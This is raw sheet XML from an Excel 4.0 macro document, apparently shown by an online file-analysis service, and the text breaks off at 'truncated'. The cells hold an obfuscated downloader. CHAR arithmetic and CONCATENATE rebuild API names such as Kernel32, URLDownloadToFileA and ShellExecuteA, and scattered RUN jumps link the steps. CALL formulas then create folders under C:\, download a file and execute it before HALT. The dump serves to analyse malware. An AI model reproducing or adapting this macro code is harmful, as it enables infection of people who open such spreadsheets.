x14ac:dyDescent="0.25"><c r="HI1458"><v>58</v></c><c r="HW1458"><v>1025</v></c></row><row r="1460" spans="1:231" x14ac:dyDescent="0.25"><c r="AV1460" t="b"><f>RUN($CU$310)</f><v>0</v></c><c r="BG1460" t="b"><f>RUN($Z$1714)</f><v>0</v></c></row><row r="1463" spans="1:231" x14ac:dyDescent="0.25"><c r="EY1463" t="b"><f>RUN($DW$1720)</f><v>0</v></c><c r="FV1463"><v>78</v></c></row><row r="1469" spans="1:231" x14ac:dyDescent="0.25"><c r="V1469" t="str"><f>CONCATENATE($DA$1308,$AA$189,$CE$567,$GJ$987,$AX$1327,$GP$1603,$DK$15,$AT$408,$CT$764,$FW$1853,$AM$848,$HY$1428,$EY$294)</f><v>ShellExecuteA</v></c></row><row r="1471" spans="1:231" x14ac:dyDescent="0.25"><c r="A1471"><v>998</v></c><c r="GA1471"><v>29</v></c></row><row r="1475" spans="103:209" x14ac:dyDescent="0.25"><c r="CY1475" t="str"><f>CHAR($DE$725-952)</f><v>x</v></c></row><row r="1478" spans="103:209" x14ac:dyDescent="0.25"><c r="HA1478"><v>83</v></c></row><row r="1480" spans="103:209" x14ac:dyDescent="0.25"><c r="DC1480"><v>32</v></c><c r="ER1480" t="str"><f>CHAR($IC$545-952)</f><v>C</v></c></row><row r="1492" spans="24:230" x14ac:dyDescent="0.25"><c r="AB1492" t="b"><f>RUN($J$41)</f><v>0</v></c></row><row r="1494" spans="24:230" x14ac:dyDescent="0.25"><c r="AG1494"><v>1024</v></c></row><row r="1495" spans="24:230" x14ac:dyDescent="0.25"><c r="BD1495" t="b"><f>RUN($GL$1805)</f><v>0</v></c></row><row r="1496" spans="24:230" x14ac:dyDescent="0.25"><c r="AI1496" t="str"><f>CHAR($Z$1953-496)</f><v>d</v></c></row><row r="1497" spans="24:230" x14ac:dyDescent="0.25"><c r="HV1497" t="b"><f>RUN($FT$1406)</f><v>0</v></c></row><row r="1504" spans="24:230" x14ac:dyDescent="0.25"><c r="X1504" t="b"><f>RUN($D$1916)</f><v>0</v></c></row><row r="1505" spans="96:214" x14ac:dyDescent="0.25"><c r="HF1505" t="str"><f>CHAR($BK$1834-496)</f><v>d</v></c></row><row r="1506" spans="96:214" x14ac:dyDescent="0.25"><c r="GZ1506" t="b"><f>RUN($FD$128)</f><v>0</v></c></row><row r="1515" spans="96:214" x14ac:dyDescent="0.25"><c r="DX1515" t="b"><f>RUN($N$441)</f><v>0</v></c></row><row r="1518" spans="96:214" x14ac:dyDescent="0.25"><c r="CR1518" t="b"><f>RUN($DX$411)</f><v>0</v></c></row><row r="1525" spans="40:78" x14ac:dyDescent="0.25"><c r="AN1525"><v>58</v></c></row><row r="1526" spans="40:78" x14ac:dyDescent="0.25"><c r="BZ1526"><v>5</v></c></row><row r="1533" spans="40:78" x14ac:dyDescent="0.25"><c r="AP1533" t="b"><f>RUN($CW$714)</f><v>0</v></c></row><row r="1541" spans="83:244" x14ac:dyDescent="0.25"><c r="GT1541" t="b"><f>RUN($BE$289)</f><v>0</v></c><c r="IJ1541" t="b"><f>RUN($AC$24)</f><v>0</v></c></row><row r="1545" spans="83:244" x14ac:dyDescent="0.25"><c r="HD1545"><v>65</v></c></row><row r="1551" spans="83:244" x14ac:dyDescent="0.25"><c r="CE1551"><v>1020</v></c><c r="DB1551" t="b"><f>RUN($II$62)</f><v>0</v></c></row><row r="1552" spans="83:244" x14ac:dyDescent="0.25"><c r="CG1552"><v>1044</v></c></row><row r="1553" spans="6:231" x14ac:dyDescent="0.25"><c r="BB1553"><v>1053</v></c></row><row r="1556" spans="6:231" x14ac:dyDescent="0.25"><c r="HW1556" t="str"><f>CHAR($C$619-955)</f><v>r</v></c></row><row r="1559" spans="6:231" x14ac:dyDescent="0.25"><c r="FP1559" t="b"><f>RUN($DB$1551)</f><v>0</v></c></row><row r="1560" spans="6:231" x14ac:dyDescent="0.25"><c r="GJ1560"><v>38</v></c></row><row r="1562" spans="6:231" x14ac:dyDescent="0.25"><c r="CM1562" t="b"><f>RUN($DP$1203)</f><v>0</v></c></row><row r="1565" spans="6:231" x14ac:dyDescent="0.25"><c r="F1565" t="str"><f>CHAR($BL$967-496)</f><v>l</v></c></row><row r="1574" spans="9:244" x14ac:dyDescent="0.25"><c r="HW1574" t="b"><f>RUN($ID$1916)</f><v>0</v></c></row><row r="1575" spans="9:244" x14ac:dyDescent="0.25"><c r="CI1575"><v>91</v></c></row><row r="1577" spans="9:244" x14ac:dyDescent="0.25"><c r="EC1577"><v>1074</v></c></row><row r="1578" spans="9:244" x14ac:dyDescent="0.25"><c r="IJ1578" t="str"><f>CONCATENATE($DK$887,$DT$969,$GI$1929,$BI$259,$DB$325,$GO$427,$HP$770,$O$804)</f><v>Kernel32</v></c></row><row r="1581" spans="9:244" x14ac:dyDescent="0.25"><c r="I1581"><v>551</v></c></row><row r="1582" spans="9:244" x14ac:dyDescent="0.25"><c r="GR1582" t="str"><f>CHAR($EH$251-955)</f><v>p</v></c></row><row r="1586" spans="11:248" x14ac:dyDescent="0.25"><c r="DR1586"><v>0</v></c><c r="GI1586"><v>1056</v></c></row><row r="1587" spans="11:248" x14ac:dyDescent="0.25"><c r="AT1587" t="str"><f>CHAR($ID$1219-403)</f><v>L</v></c></row><row r="1589" spans="11:248" x14ac:dyDescent="0.25"><c r="K1589" t="b"><f>RUN($EB$640)</f><v>0</v></c></row><row r="1590" spans="11:248" x14ac:dyDescent="0.25"><c r="IN1590" t="str"><f>CHAR($IG$1928-496)</f><v>h</v></c></row><row r="1592" spans="11:248" x14ac:dyDescent="0.25"><c r="CR1592" t="str"><f>CHAR($A$1471-952)</f><v>.</v></c></row><row r="1593" spans="11:248" x14ac:dyDescent="0.25"><c r="BE1593"><v>607</v></c><c r="GM1593" t="str"><f>CHAR($HX$458-496)</f><v>u</v></c></row><row r="1594" spans="11:248" x14ac:dyDescent="0.25"><c r="W1594"><v>486</v></c><c r="FN1594" t="b"><f>RUN($Z$931)</f><v>0</v></c></row><row r="1598" spans="11:248" x14ac:dyDescent="0.25"><c r="ET1598" t="b"><f>RUN($EO$770)</f><v>0</v></c></row><row r="1600" spans="11:248" x14ac:dyDescent="0.25"><c r="M1600"><v>1060</v></c></row><row r="1601" spans="89:198" x14ac:dyDescent="0.25"><c r="FP1601"><v>1037</v></c></row><row r="1602" spans="89:198" x14ac:dyDescent="0.25"><c r="FE1602"><v>1065</v></c></row><row r="1603" spans="89:198" x14ac:dyDescent="0.25"><c r="GP1603" t="str"><f>CHAR($AG$1494-955)</f><v>E</v></c></row><row r="1604" spans="89:198" x14ac:dyDescent="0.25"><c r="CS1604"><v>95</v></c></row><row r="1612" spans="89:198" x14ac:dyDescent="0.25"><c r="FC1612"><v>48</v></c></row><row r="1613" spans="89:198" x14ac:dyDescent="0.25"><c r="CK1613" t="b"><f>RUN($DE$420)</f><v>0</v></c></row><row r="1614" spans="89:198" x14ac:dyDescent="0.25"><c r="DT1614"><v>48</v></c></row><row r="1618" spans="49:178" x14ac:dyDescent="0.25"><c r="FV1618"><v>38</v></c></row><row r="1620" spans="49:178" x14ac:dyDescent="0.25"><c r="AW1620" t="str"><f>CHAR($BG$1440-496)</f><v>s</v></c></row><row r="1632" spans="49:178" x14ac:dyDescent="0.25"><c r="CR1632" t="b"><f>RUN($HV$1497)</f><v>0</v></c></row><row r="1636" spans="17:192" x14ac:dyDescent="0.25"><c r="AN1636"><v>85</v></c></row><row r="1638" spans="17:192" x14ac:dyDescent="0.25"><c r="FN1638"><v>454</v></c><c r="GJ1638"><v>58</v></c></row><row r="1643" spans="17:192" x14ac:dyDescent="0.25"><c r="CM1643"><v>543</v></c></row><row r="1647" spans="17:192" x14ac:dyDescent="0.25"><c r="Q1647" t="b"><f>RUN($IF$1072)</f><v>0</v></c></row><row r="1651" spans="58:182" x14ac:dyDescent="0.25"><c r="FZ1651" t="str"><f>CHAR($EV$343-496)</f><v>b</v></c></row><row r="1659" spans="58:182" x14ac:dyDescent="0.25"><c r="BF1659" t="b"><f>RUN($FP$1559)</f><v>0</v></c><c r="CI1659"><v>20</v></c><c r="EX1659" t="b"><f>RUN($IM$698)</f><v>0</v></c></row><row r="1660" spans="58:182" x14ac:dyDescent="0.25"><c r="DF1660"><v>1020</v></c></row><row r="1671" spans="72:238" x14ac:dyDescent="0.25"><c r="DD1671"><v>1064</v></c></row><row r="1673" spans="72:238" x14ac:dyDescent="0.25"><c r="ID1673" t="b"><f>RUN($AP$291)</f><v>0</v></c></row><row r="1677" spans="72:238" x14ac:dyDescent="0.25"><c r="ED1677" t="str"><f>CHAR($CY$1855-496)</f><v>e</v></c><c r="FH1677"><v>47</v></c></row><row r="1679" spans="72:238" x14ac:dyDescent="0.25"><c r="BT1679"><v>478</v></c></row><row r="1686" spans="33:159" x14ac:dyDescent="0.25"><c r="CN1686" t="str"><f>CONCATENATE($IE$351)</f><v>CreateDirectoryA</v></c></row><row r="1692" spans="33:159" x14ac:dyDescent="0.25"><c r="AG1692" t="str"><f>CHAR($BQ$1387-955)</f><v>e</v></c><c r="FC1692"><v>19</v></c></row><row r="1695" spans="33:159" x14ac:dyDescent="0.25"><c r="CQ1695"><v>610</v></c></row><row r="1697" spans="44:240" x14ac:dyDescent="0.25"><c r="HN1697"><v>1052</v></c></row><row r="1698" spans="44:240" x14ac:dyDescent="0.25"><c r="AR1698"><v>6</v></c></row><row r="1706" spans="44:240" x14ac:dyDescent="0.25"><c r="IF1706" t="b"><f>RUN($Y$52)</f><v>0</v></c></row><row r="1710" spans="44:240" x14ac:dyDescent="0.25"><c r="GM1710"><v>1054</v></c></row><row r="1713" spans="2:219" x14ac:dyDescent="0.25"><c r="EI1713" t="b"><f>RUN($II$397)</f><v>0</v></c></row><row r="1714" spans="2:219" x14ac:dyDescent="0.25"><c r="Z1714" t="b"><f>RUN($IF$1706)</f><v>0</v></c></row><row r="1715" spans="2:219" x14ac:dyDescent="0.25"><c r="HK1715"><v>39</v></c></row><row r="1718" spans="2:219" x14ac:dyDescent="0.25"><c r="GW1718" t="b"><f>RUN($EZ$1984)</f><v>0</v></c></row><row r="1720" spans="2:219" x14ac:dyDescent="0.25"><c r="B1720" t="str"><f>CHAR($AV$1818-496)</f><v>u</v></c><c r="U1720" t="str"><f>CHAR($DN$1026-952)</f><v>m</v></c><c r="DW1720" t="b"><f>RUN($CV$865)</f><v>0</v></c></row><row r="1725" spans="2:219" x14ac:dyDescent="0.25"><c r="GQ1725"><v>77</v></c></row><row r="1727" spans="2:219" x14ac:dyDescent="0.25"><c r="AM1727"><v>20</v></c></row><row r="1732" spans="130:215" x14ac:dyDescent="0.25"><c r="HG1732"><v>44</v></c></row><row r="1744" spans="130:215" x14ac:dyDescent="0.25"><c r="DZ1744"><v>43</v></c></row><row r="1748" spans="7:204" x14ac:dyDescent="0.25"><c r="G1748" t="str"><f>CHAR($FO$400-952)</f><v>V</v></c></row><row r="1749" spans="7:204" x14ac:dyDescent="0.25"><c r="EY1749"><v>21</v></c></row><row r="1750" spans="7:204" x14ac:dyDescent="0.25"><c r="AP1750"><v>90</v></c></row><row r="1751" spans="7:204" x14ac:dyDescent="0.25"><c r="GV1751" t="b"><f>RUN($HY$874)</f><v>0</v></c></row><row r="1760" spans="7:204" x14ac:dyDescent="0.25"><c r="EF1760" t="str"><f>CHAR($CZ$398-403)</f><v>3</v></c></row><row r="1765" spans="21:155" x14ac:dyDescent="0.25"><c r="BQ1765"><v>49</v></c></row><row r="1768" spans="21:155" x14ac:dyDescent="0.25"><c r="BI1768"><v>0</v></c></row><row r="1771" spans="21:155" x14ac:dyDescent="0.25"><c r="EY1771"><v>24</v></c></row><row r="1773" spans="21:155" x14ac:dyDescent="0.25"><c r="U1773"><v>40</v></c></row><row r="1778" spans="10:174" x14ac:dyDescent="0.25"><c r="ET1778" t="b"><f>RUN($AJ$794)</f><v>0</v></c></row><row r="1779" spans="10:174" x14ac:dyDescent="0.25"><c r="BL1779"><v>65</v></c></row><row r="1785" spans="10:174" x14ac:dyDescent="0.25"><c r="J1785" t="str"><f>CHAR($BX$156-955)</f><v>d</v></c></row><row r="1789" spans="10:174" x14ac:dyDescent="0.25"><c r="FR1789"><v>74</v></c></row><row r="1793" spans="54:231" x14ac:dyDescent="0.25"><c r="HW1793"><v>511</v></c></row><row r="1794" spans="54:231" x14ac:dyDescent="0.25"><c r="DS1794"><v>88</v></c></row><row r="1796" spans="54:231" x14ac:dyDescent="0.25"><c r="BB1796" t="b"><f>RUN($GT$183)</f><v>0</v></c></row><row r="1798" spans="54:231" x14ac:dyDescent="0.25"><c r="BJ1798"><v>12</v></c></row><row r="1802" spans="54:231" x14ac:dyDescent="0.25"><c r="HF1802" t="str"><f>CHAR($EG$26-955)</f><v>o</v></c></row><row r="1805" spans="54:231" x14ac:dyDescent="0.25"><c r="EF1805" t="str"><f>CHAR($GP$1831-496)</f><v>e</v></c><c r="GL1805" t="b"><f>RUN($GG$1085)</f><v>0</v></c></row><row r="1809" spans="42:173" x14ac:dyDescent="0.25"><c r="BW1809"><v>59</v></c></row><row r="1810" spans="42:173" x14ac:dyDescent="0.25"><c r="FQ1810"><v>41</v></c></row><row r="1812" spans="42:173" x14ac:dyDescent="0.25"><c r="BI1812" t="str"><f>CHAR($Q$111-952)</f><v>y</v></c></row><row r="1814" spans="42:173" x14ac:dyDescent="0.25"><c r="BU1814" t="str"><f>CHAR($BY$1439-496)</f><v>-</v></c></row><row r="1818" spans="42:173" x14ac:dyDescent="0.25"><c r="AV1818"><v>613</v></c></row><row r="1819" spans="42:173" x14ac:dyDescent="0.25"><c r="AP1819"><v>613</v></c></row><row r="1821" spans="42:173" x14ac:dyDescent="0.25"><c r="EE1821"><v>1060</v></c></row><row r="1823" spans="42:173" x14ac:dyDescent="0.25"><c r="EG1823" t="b"><f>RUN($Y$431)</f><v>0</v></c></row><row r="1831" spans="55:198" x14ac:dyDescent="0.25"><c r="GP1831"><v>597</v></c></row><row r="1834" spans="55:198" x14ac:dyDescent="0.25"><c r="BC1834" t="str"><f>CONCATENATE($BC$463)</f><v>URLDownloadToFileA</v></c><c r="BK1834"><v>596</v></c></row><row r="1836" spans="55:198" x14ac:dyDescent="0.25"><c r="CR1836" t="b"><f>RUN($HA$1907)</f><v>0</v></c></row><row r="1837" spans="55:198" x14ac:dyDescent="0.25"><c r="FR1837"><v>85</v></c></row><row r="1841" spans="50:246" x14ac:dyDescent="0.25"><c r="AX1841" t="str"><f>CHAR($HW$1458-955)</f><v>F</v></c></row><row r="1845" spans="50:246" x14ac:dyDescent="0.25"><c r="IL1845" t="b"><f>RUN($EB$125)</f><v>0</v></c></row><row r="1847" spans="50:246" x14ac:dyDescent="0.25"><c r="GN1847" t="b"><f>RUN($DE$153)</f><v>0</v></c></row><row r="1851" spans="50:246" x14ac:dyDescent="0.25"><c r="BR1851"><v>59</v></c></row><row r="1853" spans="50:246" x14ac:dyDescent="0.25"><c r="FL1853"><v>21</v></c><c r="FW1853" t="str"><f>CHAR($CM$1198-955)</f><v>u</v></c></row><row r="1855" spans="50:246" x14ac:dyDescent="0.25"><c r="CY1855"><v>597</v></c><c r="HI1855"><v>33</v></c></row><row r="1856" spans="50:246" x14ac:dyDescent="0.25"><c r="FC1856" t="b"><f>RUN($IB$120)</f><v>0</v></c></row><row r="1857" spans="38:218" x14ac:dyDescent="0.25"><c r="HD1857" t="str"><f>CHAR($DR$1349-496)</f><v>o</v></c></row><row r="1862" spans="38:218" x14ac:dyDescent="0.25"><c r="AL1862"><v>44</v></c></row><row r="1863" spans="38:218" x14ac:dyDescent="0.25"><c r="CH1863" t="b"><f>RUN($GA$862)</f><v>0</v></c><c r="HJ1863"><v>607</v></c></row><row r="1864" spans="38:218" x14ac:dyDescent="0.25"><c r="FF1864" t="str"><f>CHAR($CY$1409-496)</f><v>l</v></c></row><row r="1865" spans="38:218" x14ac:dyDescent="0.25"><c r="CN1865" t="str"><f>CHAR($IK$1134-496)</f><v>e</v></c></row><row r="1867" spans="38:218" x14ac:dyDescent="0.25"><c r="BY1867" t="b"><f>RUN($EF$34)</f><v>0</v></c><c r="ED1867" t="b"><f>RUN($GN$1847)</f><v>0</v></c></row><row r="1875" spans="48:230" x14ac:dyDescent="0.25"><c r="BD1875" t="str"><f>CONCATENATE($V$1469)</f><v>ShellExecuteA</v></c></row><row r="1882" spans="48:230" x14ac:dyDescent="0.25"><c r="AV1882" t="b"><f>RUN($CM$1143)</f><v>0</v></c></row><row r="1888" spans="48:230" x14ac:dyDescent="0.25"><c r="HV1888"><v>1057</v></c></row><row r="1890" spans="15:247" x14ac:dyDescent="0.25"><c r="GD1890"><v>1038</v></c></row><row r="1893" spans="15:247" x14ac:dyDescent="0.25"><c r="O1893"><v>595</v></c></row><row r="1894" spans="15:247" x14ac:dyDescent="0.25"><c r="FO1894"><v>79</v></c></row><row r="1898" spans="15:247" x14ac:dyDescent="0.25"><c r="IM1898"><v>32</v></c></row><row r="1899" spans="15:247" x14ac:dyDescent="0.25"><c r="CS1899"><v>1063</v></c></row><row r="1907" spans="4:240" x14ac:dyDescent="0.25"><c r="HA1907" t="b"><f>RUN($BL$517)</f><v>0</v></c></row><row r="1910" spans="4:240" x14ac:dyDescent="0.25"><c r="CT1910" t="b"><f>CALL($BT$729,$CN$1686,"JCJ","C:\EmlZMmJ",0)</f><v>0</v></c></row><row r="1911" spans="4:240" x14ac:dyDescent="0.25"><c r="CT1911" t="b"><f>CALL($BT$729,$CN$1686,"JCJ","C:\EmlZMmJ\VkRiVZy",0)</f><v>0</v></c></row><row r="1912" spans="4:240" x14ac:dyDescent="0.25"><c r="CT1912" t="b"><f>CALL($M$598,$BC$1834, "JJCCJJ",0,$BB$54,$E$416,0,0)</f><v>0</v></c></row><row r="1913" spans="4:240" x14ac:dyDescent="0.25"><c r="CT1913" t="b"><f>CALL($CF$1250,$BD$1875, "JJCCCCJ",0,$BY$328,$E$416,,0,0)</f><v>0</v></c><c r="IF1913"><v>1052</v></c></row><row r="1916" spans="4:240" x14ac:dyDescent="0.25"><c r="D1916" t="b"><f>RUN($BZ$1038)</f><v>0</v></c><c r="ID1916" t="b"><f>RUN($CH$1257)</f><v>0</v></c></row><row r="1918" spans="4:240" x14ac:dyDescent="0.25"><c r="CT1918" t="b"><f>HALT()</f><v>0</v></c></row><row r="1920" spans="4:240" x14ac:dyDescent="0.25"><c r="FI1920"><v>1069</v></c></row><row r="1922" spans="40:241" x14ac:dyDescent="0.25"><c r="AN1922"><v>1066</v></c></row><row r="1925" spans="40:241" x14ac:dyDescent="0.25"><c r="AZ1925" t="str"><f>CHAR($FI$1070-403)</f><v>l</v></c></row><row r="1926" spans="40:241" x14ac:dyDescent="0.25"><c r="CS1926" t="str"><f>CHAR($FG$1158-496)</f><v>d</v></c></row><row r="1928" spans="40:241" x14ac:dyDescent="0.25"><c r="DH1928"><v>24</v></c><c r="IG1928"><v>600</v></c></row><row r="1929" spans="40:241" x14ac:dyDescent="0.25"><c r="GI1929" t="str"><f>CHAR($HT$1456-403)</f><v>r</v></c></row><row r="1935" spans="40:241" x14ac:dyDescent="0.25"><c r="DG1935"><v>504</v></c><c r="GE1935"><v>99</v></c></row><row r="1938" spans="89:230" x14ac:dyDescent="0.25"><c r="FT1938"><v>35</v></c></row><row r="1939" spans="89:230" x14ac:dyDescent="0.25"><c r="CK1939"><v>94</v></c></row><row r="1952" spans="89:230" x14ac:dyDescent="0.25"><c r="HV1952"><v>618</v></c></row><row r="1953" spans="15:248" x14ac:dyDescent="0.25"><c r="Z1953"><v>596</v></c></row><row r="1957" spans="15:248" x14ac:dyDescent="0.25"><c r="EW1957"><v>33</v></c><c r="HX1957" t="b"><f>RUN($X$1309)</f><v>0</v></c></row><row r="1959" spans="15:248" x14ac:dyDescent="0.25"><c r="O1959" t="b"><f>RUN($FG$1396)</f><v>0</v></c></row><row r="1962" spans="15:248" x14ac:dyDescent="0.25"><c r="IN1962"><v>68</v></c></row><row r="1963" spans="15:248" x14ac:dyDescent="0.25"><c r="BR1963"><v>2</v></c></row><row r="1964" spans="15:248" x14ac:dyDescent="0.25"><c r="GE1964" t="str"><f>CHAR($DD$1671-952)</f><v>p</v></c></row><row r="1966" spans="15:248" x14ac:dyDescent="0.25"><c r="ES1966"><v>511</v></c></row><row r="1968" spans="15:248" x14ac:dyDescent="0.25"><c r="HW1968" t="str"><f>CHAR($HF$592-496)</f><v>o</v></c></row><row r="1972" spans="27:175" x14ac:dyDescent="0.25"><c r="CU1972"><v>49</v></c></row><row r="1973" spans="27:175" x14ac:dyDescent="0.25"><c r="AA1973"><v>1059</v></c></row><row r="1974" spans="27:175" x14ac:dyDescent="0.25"><c r="FS1974" t="b"><f>RUN($ID$172)</f><v>0</v></c></row><row r="1979" spans="27:175" x14ac:dyDescent="0. ... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.